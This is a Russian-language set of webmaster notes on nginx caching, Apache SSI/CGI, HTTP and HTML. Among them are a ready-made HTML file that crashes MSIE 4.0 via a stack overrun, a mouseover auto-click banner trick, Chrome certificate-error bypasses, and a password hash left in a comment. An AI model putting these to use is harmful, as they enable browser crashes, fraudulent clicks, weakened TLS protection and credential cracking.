httpd1 with mod_throttle critical_release() failed
Сыплет в error_log
critical_release() failed: Invalid argument
critical_acquire() failed: Invalid argument
critical_release() failed: Invalid argument
critical_acquire() failed: Invalid argument
Причина - глюки в mod_throttle.
Самое разумное - mod_throttle отключить. Палиатива - резко уменьшить
MAxClients (до 30 например - помогает но не надолго)
Nginx Cache
https://habr.com/ru/articles/428127/
proxy_cache_path /var/lib/nginx/proxy_cache levels=1:2 # вложенность
keys_zone=my1_cache:60m inactive=2d # название и срок
max_size=10G use_temp_path=off ; # ФАЙЛЫ СРАЗУ ГРУЗИТЬ В КЭШ
## hash-ключи, обеспечивающие _разные_ кэшфайлы для разных запросов
proxy_cache_key $scheme$proxy_host$request_uri; # default
proxy_cache_key $request_method$host$orig_uri:$cookie_some_cookie:$arg_some_arg;
proxy_cache_key $content_type$proxy_host$request_uri; # с поддержкой кодировки
# Примеры nginx-переменных
$request_uri; # GET | POST | HEAD
$http_{name} # HTTP-Header "name"
$http_{Content-Type} text/html; charset=windows-1251
$content_type text/html; charset=windows-1251
$request_uri //contact?ref=gas # с параметрами
$uri /contact # "голый" URL без параметров
$scheme https # http|https
$hostname myhost:9000 # с портом
$host myhost # только hostname без порта
$proxy_host == 127.0.0.165:80 # адрес бэкенда
#############################################################
# время жизни кэша для разных видов ответов
proxy_cache_valid 15m;
proxy_cache_valid 404 502 503 5m;
# proxy_cache_valid any 1h;
proxy_cache_use_stale error timeout invalid_header updating;
###### ОПТИМИЗАЦИЯ
# отдавать устарелый кэш если контент "запаздывает" или недоступен
proxy_cache_use_stale error timeout updating;
proxy_cache_background_update on; # пока новый недокачался - отдавать stale
proxy_cache_lock on; # одинаковые запросы вместе - дождаться догрузки в кэш
# буферизовать вывод в log-файлы
access_log /var/log/httpd/lib.ru/acces_log-accel combined buffer=256k flush=9s;
# при отдаче файлов использовать syscall "sendfile"
sendfile on; # назначается на весь nginx в контексте http {}
#### МАНИПУЛИРОВАНИЕ ПЕРЕМЕННЫМИ NGINX: map split_clients if-set
map $uri $redirected_uri {
/ /index.html
/cntact /contact
/pricing /contact-sales
}
map $request_uri $cache {
~.mp4(?.*)?$ disk_cache;
~.avi(?.*)?$ disk_cache;
default ssd_cache;
}
# хэширование запросов в разные кэшдиректории
split_clients $request_uri $cache {
33% disk1;
33% disk2;
* disk3;
}
##### НЕ ИСПОЛЬЗОВАТЬ КЭШ ПО УСЛОВИЮ НА УРЛ #################
# если взведены куки
if ($http_cookie ~* ".+" ) { set $cookie_cache_bypass 1; }
proxy_cache_bypass $cookie_cache_bypass;
# конкретные директории
if ($uri ~* "^/GrepSearch|^/Forum|^/stat/" ) { set $no_cache 1; }
proxy_cache_bypass $no_cache;
# броузер запросил Pragma: no-cache
proxy_cache_bypass $http_pragma;
#############################################################
# управление зачисткой кэша
map $request_method $purge_method {
PURGE 1;
default 0;
}
proxy_cache_purge $purge_method;
############# пример рабочего конфига
proxy_cache_path /var/nginx/cache levels=1:2 keys_zone=cache_ru:60m
inactive=1d max_size=10G use_temp_path=off;
proxy_cache_key $content_type$proxy_host$request_uri;
server {
listen 1.2.66.163:80;
server_name example.ru www.example.ru;
location / {
proxy_pass http://127.0.0.163;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
########### CACHE for example.ru #############################
proxy_cache cache_ru;
# proxy_ignore_headers "Set-Cookie";
# proxy_hide_header "Set-Cookie";
proxy_cache_bypass $http_pragma;
if ($http_cookie ~* ".+" ) { set $cookie_cache_bypass 1; }
proxy_cache_bypass $cookie_cache_bypass;
if ($uri ~* "^/GrepSearch|^/Forum|^/stat/" ) { set $no_cache 1; }
proxy_cache_bypass $no_cache;
proxy_cache_use_stale error timeout invalid_header updating;
proxy_cache_background_update on;
proxy_cache_lock on;
proxy_cache_valid 404 502 503 5m;
}
# nginx -t && nginx -s reload
Быстрое разрешение доступа при невалидном SSL-сертификате сайта
thisisunsafe
Запуск google-chrome с ключем --ignore-certificate-errors
для MACOS добавить еще ключ --ignore-urlfetcher-cert-request
Как протрассировать apache
strace `ps auxw | grep httpd |\
awk ' BEGIN { l = ""; } { l = l " -p " $2; } END { print l; } '` 2>&1 |\
less
Upgrading Apache to 2.4 from 2.2
Перестает работать SSI директива #if . Лечится
mod_include:
The #if expr element now uses the new expression parser. The old syntax can
be restored with the new directive SSILegacyExprParser.
An SSI* config directive in directory scope no longer causes all other
perdirectory SSI* directives to be reset to their default values.
Простейший HTTP-сервер из палок и веревок
# NB! не забываем открыт в файрволле 80 порт
while true ; do nc -l 80 < index.html ; done
( index.html должен содержать так же и HTTP-headers, в сыром виде)
Или через inetd.conf
service www
{
disable = no
socket_type = stream
protocol = tcp
wait = no
user = nobody
server = /usr/bin/cat
server_args = cat /tmp/index.html
}
Этот текст будет слегка более доступным
для понимания, если вы посмотрите на него в исходном виде -
"Document source"
index.html Если просят выдать каталог, то выдают index
если его нет, выдается просто оглавление каталога
HEADER.html Его содержимое добавляется перед началом листинга
README.html Его содержимое добавляется к концу листинга
.htaccess Управляющий файл с локальными настройками текущей директории
Разобраться стоит с этими характеристиками:
Alias - где то должна лежать расшифровка. а сервер будет
ее подставлять.
Вот только где ?
Устанавливает общий отступ вправо.
Вынесенный вправо фрагмент текста
Горизонтальная черта
Окончание параграфа
Жесткий конец строки
Текст между этими тагами не будет переноситься
на новую сторку каким бы длинным он не был
Физические стили
Bold жирный текст Itallic курсив текст Underline подчеркнутый Работает только в Netscape 3
Typewriter текст с фонтом фиксированной ширины Strike перечеркнутый текст
Логические стили
Definition. Определяемое слово italic
Emphasis. Ударение italic
Titles of books. Цитата italic
Programm. Программный текст fixed
User keyboard entry. bold fixed
Status message fixed
Variable. italic Strong emphasis. bold
Выделяется адрес italic
Управление цветами и фонтами
_BODY_ таги срабатывают только если расположены в самом начале документа
А так устанавливают собственные цвета во всем документе
А так делали траурные колера, когда протестовали.
Текст бОльшего размера, и покрашенный в красный цвет, с заданным типом фонта
Дальше пойдет текст с фонтом заданного размера
а так же background звук
Если нужен текст сбоку
от картинки
Отступ текста от картинки
ALT - что написать, если картинка не читается,
LOWRES - перед рисованием большой картинки загрузить эту - маленькую
Так подкладывают BACKGROUND
Таблички -
tr - задает строку Столбец
Столбец
Внутри таблицы может быть такой таг, Подзаголовок?
КРУПНЫЙ ТЕКСТ В БЛОКЕ
прозрачный отступ: spacer
Табличка с цветным блочным заголовком и рамочкой
$M{Ti}{$PI}
$RazdelOut
О протоколе HTTP/1.*
Клиент открывает tcp соединение с хостом www.host.com на порт
(обычно 80) и говорит туда
GET /local/url/file/name.html HTTP/1.0
Host: www.host.com
Http_referer: url_документа_на_котором_стоял_клиент
Еще некоторое количество заголовков,
которые рассказывают серверу, кто с ним имеет дело.
Все они, кроме GET необязательны
. . .
^M^J - пустая строка - конец заголовков - конец запроса
Обратно вываливается ответ сервера:
http-шные заголовки
на нескольких строках
^M^J - пустая строка
Собственно запрошенный документ as is
Упражнение: скажите
$ telnet www 80
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
GET /index.html HTTP/1.0
И потом два раза нажмите на Enter
Как работет докачка в HTTP/1.1 протоколе?
В запрос вставляется специальное поле "Range: bytes nnn-".
Сервер с докачкой возвращает код 206 - "Часть содержимого" и
передает запрошенную часть файла. Если сервер не поддерживает
докачки, он просто возвращает 200 и высылает весь файл как при
обычном запросе.
SSI - Server Side Includes
Полная спецификация лежит, например на www.apache.org
0. Чтобы SSI-файлы взводили Last-modified, добавить в конфиг
XBitHack full
и сделать им chmod g+x file.shtml
1. Чтобы SSI выполнялись, необходимо задать в конфигурационных
файлах сервера:
/etc/httpd/conf/access.conf :------------------------
# "Включить"
Options +Includes # или даже Options All
/etc/httpd/conf/srm.conf :------------------------
AddType text/html .shtml
AddHandler server-parsed .shtml
2. Тогда SSI отрабатываются только в файлах с расширением .shtml
Примеры:
charset=
The value will often be enclosed in double quotes; many com-
mands only allow a single attribute-value pair.
The allowed ELEMENTS are:
config - параметры парсинга
Атрибуты config
errmsg - сообщение об ошибке, посылаемое клиенту
sizefmt - формат размера файла
timefmt - формат даты модификации файла
var - напечатать имя переменной
exec - выполнить shell или CGI-скрипт
cgi - (%-encoded) URL relative path to the CGI script.
cmd - выполнить shell
fsize - напечатать размер файла
file - относительное имя файла
virtual -(%-encoded) URL-path relative файла
flastmod - последннее время модификации файла
include - вставить документ
file - вставляемый файл
virtual - URL - только на этом же хосте
Include variables
These are available for the echo command, and to any program
invoked by the document.
DATE_GMT
The current date in Greenwich Mean Time.
DATE_LOCAL
The current date in the local time zone.
DOCUMENT_NAME
The filename (excluding directories) of the document requested
by the user.
DOCUMENT_URI
The (%-decoded) URL path of the document requested by the user.
Note that in the case of nested
include files, this is not then URL for the current document.
LAST_MODIFIED
The last modification date of the document requested by the user.
If server side includes are enabled, you will see data values below:
The date is:
The current version of the server
The CGI gateway version
The server name
This file is called:
This file's URI
The query string
This file was last modified:
The size of the unprocessed file
sample.html was last modified
You are using
You came from
# Эмуляция SSI в perl-cgi
if (//) {
print $`;$tmp = $';
open (INC,"$inc") || die "Can't Open $inc: $!\n";
while () {
if (//) {
@time = localtime ( time() ); $time[4]++;
if ($time[4] < 10) { $time[4] = "0" . "$time[4]"; }
s//$time[3].$time[4].$time[5]/g;
}
print $_;
}
close(INC);
print "$tmp";
}
Управление доступом через httpd.conf
SetEnvIfNoCase Referer rusf\.ru internal_referer
SetEnvIfNoCase User-Agent Teleport internal_referer
SetEnvIfNoCase User-Agent Vampire internal_referer
SetEnvIfNoCase User-Agent ReGet internal_referer
SetEnvIfNoCase User-Agent GetRight internal_referer
SetEnvIfNoCase User-Agent Wget internal_referer
ErrorDocument 403 http://rusf.ru/books/index.htm
order deny,allow
deny from all
allow from env=internal_referer
# No offline browsers в robots.txt
User-Agent: DISCo Pump, Wget, WebZIP, Teleport Pro, WebSnake, Offline
Explorer, Web-By-Mail
Disallow: /
# Запрет линкования картинок с двух внешних порносайтов
SetEnvIfNoCase Referer img\.jpg4\.info porno_referer
SetEnvIfNoCase Referer mobihide\.com porno_referer
order deny,allow
deny from env=porno_referer
CGI - спецификация интерфейса между сервером httpd
и внешними, вызываемыми программами - gateeway'ями.
Сам CGI-script должен лежать в /home/httpd/cgi-bin
тогда его находят (или в других каталогах, описанных в acces.conf
Данные передаются в командной строке, через переменные
окружения, и через стандартный ввод. Возвращаются на
стандартный вывод, в начале должна стоять "волшебная строка"
Если добавить в коннфигурационный файл
/etc/httpd/conf/srm.conf :------------------------
AddType application/x-httpd-cgi .cgi
То CGI-скрипты можно будет клась в любой подкаталог дерева
документов - с расширением .cgi
Формы и индексы
Войти в файл, и спозиционироваться на строку с шаблоном "cl"
http://hoohoo.ncsa.uiuc.edu/file.html#cl
Request for a CGI script with no extra path information and no query.
http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi
Request for a script with extra path information, and no query.
http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi/extra/path
Request for a script with no extra path information, and an ISINDEX query.
http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi?query
Request for a script with extra path information as well as an ISINDEX query.
http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi/extra/path?a+query
Вызывается одна и та же программа, но ей передается 0,1,1 или 2 аргумента:
extra path - "добавочный маршрут", идущий вслед за именем екзешника
query - длинная строка после знака "?"
на extra path работает image map - им передается имя описателя картинки
query передается заполненным ISINDEX
CGI-скрипту передаются такие параметры:
Параметры передаются в переменных окружения.
REMOTE_ADDR=127.0.0.1
REMOTE_HOST=localhost
HTTP_REFERER=http://www.ac.msk.su:80/cgi-bin/html-KOI?KSP/bachurin.txt
REQUEST_METHOD=GET
QUERY_STRING=query
PATH_INFO=/marshrut
PATH_TRANSLATED=/home/httpd/docs/marshrut
SCRIPT_NAME=/cgi-bin/proba
HTTP_USER_AGENT=NCSA Mosaic for the X Window System/2.4 libwww/2.12 modified
А теперь вот как оформляются формы с checkbox'ами:
# ISINDEX - параметр запроса передается пргограмме CGI в $1
# В форме METHOD=GET - там вызывается команда которой передается
# аргумент в переменной окружения QUERY_STRING
# http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi?button1=on&button2=off
# А вот как работает POST, и PUT. Дополнительная информация проталкивается
клиентом на сервер. Сервер подает ее cgi-программе на стандартный ввод.
длина посылаемого файла устанавливается в переменной окружения CONTENT_LENGTH
а тип данных - в CONTENT_TYPE
FORM ACTION="http://hoohoo.ncsa.uiuc.edu/cgi-bin/test-cgi" METHOD="POST"
Что мы посылаем клиенту обратно:
Status: 200 OK
Status: 404 File not found
Content-type: text/html
Содержимое, которое кидается сквозь нашего сервера - клиенту
Если я генерю не содержимое, а только ссылку, то:
Location: /path/doc.txt
или
Location: gopher://gopher.ncsa.uiuc.edu/
Генерим текст в чистом серверном виде - он поедет
клиенту сразу, без дополнительной фильтрации:
--- start of output ---
HTTP/1.0 200 OK
Date: Tuesday, 26-Dec-95 15:17:10 GMT
Server: NCSA/1.3
MIME-version: 1.0
Content-type: text/html
Last-modified: Tuesday, 24-Dec-95 15:15:41 GMT
Content-length: 3132
This is a plaintext document generated on the fly just for you.
--- end of output ---
Подставляйте туда соответствующие значения переменных
$SERVER_PROTOCOL $SERVER_SOFTWARE
Фенечки
Автоподстановка URL с timeout'ом. Подставить в начало документа:
Дальше идет местный HTML-документ - который через 12 секунд будет
автоматически заменен на вышеуказанный URL
Вообще - таг META HTTP-EQUIV позволяет взвести дополнительные поля в
HTTP-заголовок документа. Например "насильственное взведение charset'а:
Content-type: text/html
Set-Cookie: cookiename=valueofcookie; expires=Saturday, 28-Feb-96 23:59:59 GMT; path=/cgi-bin/mycgiprogram
Эта штучка будет автоматом отсылаться в наш сервер клиентом, как только он ее получил
Подробнее см. http://citforum.ru/win/internet/html/c_what_is.shtml
Если сказать так, то клиент останется на старом месте, и не
будет переходить по ссылке
Status: 204 No Content
А такой линк позволяет сразу заполнить некоторые поля в mailto послании
tets
Самокликаемое письмо
> Была идея посылать в него сообщение когда мышкой над баннером проводят.
> (Когда баннер интересен, часто к нему курсор подводят)
> Но что-то я не допёр как это реализовать без hidden frame.
В правилах устанавливаешь, что у тебя _стандартный код_
твоей сетки содержит:
Когда клиент будет снизу _пересекать_ мышью твою однопиксельную
полоску будет автоклик, а чтоб клиента не напрягать -
пускай твой http://koshelev.ru/cgi-bin/bannerOver
возвращает код 204 No Content - т.е. _не переходить_ на линк а
остаться на старой странице.
Ссылка на которую переходят автоматически
Достаточно навести на эту ссылку мышь, и броузер пойдет по
линку - без клика.
Простые эксплойты
MSIE 4.0. 4.01 can be crashed with a little help of the < EMBED > tag.
<EMBED SRC=file://C|/A.ABOUT_200_CHARACTERS_HERE___________________>
opens a dialog box and closes IE 4.0. the long file extension causes stack overrun.
--------cut here and save as crashmsie.html---------------------
Trying to crash IE 4.0
<EMBED
SRC=file://C|/A.012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789>
40
80 160 170 180 190 200
</HTML>
---------------------------------------------------------------
Закрытие каталогов для внешних клиентов
Создаем в каталоге файл .htaccess такого содержания
order deny,allow
deny from all
allow from polimos.ras.ru localhost
# с abc.com пускает просто так, с остальных адресов пускает по паролю
Order deny,all
Allow from .abc.ru
Deny from all
Satisfy any
AuthType Basic
AuthName lenta.ru
AuthUserFile /home/www/passwd
# moshkow:1HrhNpfYnwTau стандартный crypt()
require valid-user
Русский apache берется с http://apache.lexa.ru
Php4 берется с http://download.php.net/distributions/php-4.0.6.tar.gz
Для динамической линковки php в апаче должен быть установлен модуль mod_so.c
httpd$ ./configure --prefix=/home/ej/apache --add-module=src/modules/standard/mod_so.c
make install
php$ ./configure --prefix=/home/ej/apache --with-mysql --with-apxs=/home/ej/apache/bin/apxs --with-mod_charset
make install
Как предложить браузеру сохранить файл выдаваемый CGI-скриптом под
именем отличным от текущего CGI.
Для IE нужно выдать заголовок:
Content-Disposition: attachment; filename=somefile.jpg
Как указать RSS-feed
- в
Как стилями сделать абзацный отступ в теге
Создание иконки favion
Любым редактором создать картинку 22x22 или 16x16
Сохранить в формате png или ico (IE понимает только ico)
В блок HEADER добавить адрес картинки
Либо просто держать ее в /favicon.ico
Защита от POST 405 на /
От запросов вида
93.81.22.12 - - [12/Jul/2013:20:37:28 +0400] "POST / HTTP/1.0" 405 295 "" ""
В апаче:
Order allow,deny
Deny from all
В nginx'е
location = / {
limit_except GET { deny all; }
}